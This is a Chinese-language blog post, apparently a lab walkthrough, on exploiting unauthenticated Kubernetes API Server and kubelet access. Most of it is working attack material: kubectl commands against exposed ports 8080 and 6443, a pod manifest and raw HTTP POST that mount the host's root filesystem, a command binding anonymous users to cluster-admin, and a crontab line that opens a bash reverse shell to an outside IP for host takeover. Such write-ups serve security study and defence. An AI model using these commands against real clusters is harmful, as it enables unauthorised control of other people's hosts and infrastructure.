云原生篇-K8s API 未授权

K8s结构截图

组件名称默认端口
api server8080/6443
dashboard8001
kubelet10250/10255
etcd2379
kube-proxy8001
docker2375
kube-scheduler10251
kube-controller-manager10252

API Server 未授权访问

apiServer在Kubernetes中是非常重要的,一旦配置不当导致未授权将会造成严重的后果,让我们来看下apiserver都能获得些什么

攻击8080端口

旧版本的K8s的API Server默认会开启两个端口,8080和6443,6443是安全端口,使用TLS加密,但是8080端口无需认证,仅用于测试。6443端口需要认证,且有TLS保护(k8s<1.16.0)
由于新版本k8s默认已不开启8080,所以需要更改kube-apiserver.yaml的配置。

此处设置为0表示关闭,将其修改为8080,并添加配置

vim /etc/kubernetes/manifests/kube-apiserver.yaml
--insecure-port=8080
--insecure-bind-address=0.0.0.0

systemctl restart kubelet   #重启K8s服务


接下来我们访问master节点的8080端口,即可返回API接口列表,如果开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API,直接对集群下发指令。

这里我们使用官方客户端工具kubectl尝试对api server连接列出

kubectl.exe -s 192.168.45.180 8080 get nodes


同理我们也可以对其进行列出当前的pods、创建pods、进入pods等操作
接下来我们可以通过创建特权容器来尝试拿到宿主机的权限

apiVersion: v1  # 创建该对象所使用的Kubernetes API版本
kind: Pod       #  对象类型为Pod,可以是Deployment、DaemonSet等
metadata:       # 识别对象唯一性数据,名称、namespace
  name: test    # Pod名称
spec:           # Pod规格
  containers:
  - image: nginx            # 镜像 
    name: test-container    # 容器名称
    volumeMounts:           # 卷
    - mountPath: /mnt       # 将宿主机的根目录挂载到/mnt目录下
      name: test-volume      
  volumes:
  - name: test-volume
    hostPath:
      path: /

以上为创建特权容器的yaml文件,接下来我们使用kubectl生成一个恶意的容器

查看是否创建成功

kubectl.exe -s 192.168.45.180:8080 get pods 


创建成功后,进入pod

kubectl.exe -s 192.168.45.180:8080 --namespace=default exec -it test bash


此处看到存在.dockerenv文件,代表目前是处于docker环境下,接下来可以使用计划任务反弹shell拿到宿主机的权限

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.45.128/8899 0>&1\n" >> /mnt/etc/crontab

成功获得宿主机node1的主机权限,如下图所示。

攻击6443端口

默认情况下,6443端口是需要认证的:

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous



6443端口的apiserver未授权访问利用和8080端口的apiserver未授权访问利用在开始时有一定的区别,到后面基本一致。
首先创建恶意pods
这里是使用post创建,可以用postman和burpsuite,我这里使用burpsuite

POST /api/v1/namespaces/default/pods/ HTTP/2
Host: 192.168.45.180:6443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/6.8.0(0x16080000) MacWechat/3.8.3(0x13080310) XWEB/30817 Flue
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Te: trailers
Content-Type: application/json
Content-Length: 693

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}


连接判断pods是否创建,账号密码随意输入

kubectl.exe --insecure-skip-tls-verify -s https://192.168.45.180:6443 get pods


连接执行pods

kubectl --insecure-skip-tls-verify -s https://192.168.45.180:6443 --namespace=default exec -it test02 bash


同8080端口一样,通过计划任务反弹shell到宿主机

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.45.128/8899 0>&1\n" >> /host/etc/crontab


Kubelet未授权访问

攻击10250

每一个Node节点都有一个kubelet服务,kubelet监听了10250、10248、10255等端口。
其中 10250 端口是 kubelet 与 apiserver 进行通信的主要端口,通过该端口 kubelet 可以知道自己当前应该处理的任务,该端口在最新版 Kubernetes 是有鉴权的。

在新版本 Kubernetes 中当使用以下配置打开匿名访问时便可能存在 kubelet 未授权访问漏洞。
默认是false,修改authentication的anonymous为true,将 authorization mode 修改为 AlwaysAllow,之后重启kubelet进程。

如果 10250 端口存在未授权访问漏洞,那么我们可以先使用 / pods 接口获取集群的详细信息,如 namespace,pods,containers 等。

最后修改:2024 年 01 月 09 日
如果觉得我的文章对你有用,请随意赞赏